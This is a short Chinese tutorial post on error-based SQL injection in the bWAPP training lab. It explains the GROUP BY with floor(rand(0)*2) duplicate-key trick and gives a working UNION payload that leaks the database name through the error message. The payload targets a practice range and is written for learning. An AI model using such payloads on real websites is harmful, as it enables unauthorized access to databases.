SQL-bWAPP靶场-error

第一种error注入(group by)

一,注入SQL

SELECT COUNT(*),concat(database(),'#',floor(rand(0)*2)) AS x 
FROM visitors GROUP BY x;

二,原理

  1. 函数
  • count() -返回列数数量

  • concat(参数1,参数二,) -返回参数拼接后的字符串

  • floor() -将小数转换成整数

  • rand() -随机生成0-1的小数

2.报错原理
group by实现原理:
(张三,18)(李四,23)(王五,24)(麻七,23)group by age分组过程

1,18 ---张三
1,23 ---李四
1,24 ---王五
搜索表是否有23---发现有
1,18
2,23
1,24

floor(rand(0))== 0 1 1 0 1 1

分组后:

2

1

1

1

报错

返回报错信息(1)

三,bWAPP靶场练习

1,实现原理
SELECT * FROM movies
WHERE title='Man of Steel' 
UNION           #union需要表与表中数据字段数一样
(SELECT COUNT(*),concat(database(),floor(rand(0)*2))AS x ,2,3,4,5 FROM visitors GROUP BY x )
2,靶场注入
Man of Steel'UNION (SELECT COUNT(*),concat(database(),floor(rand(0)*2))AS x ,2,3 ,4,5 FROM visitors GROUP BY x )#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值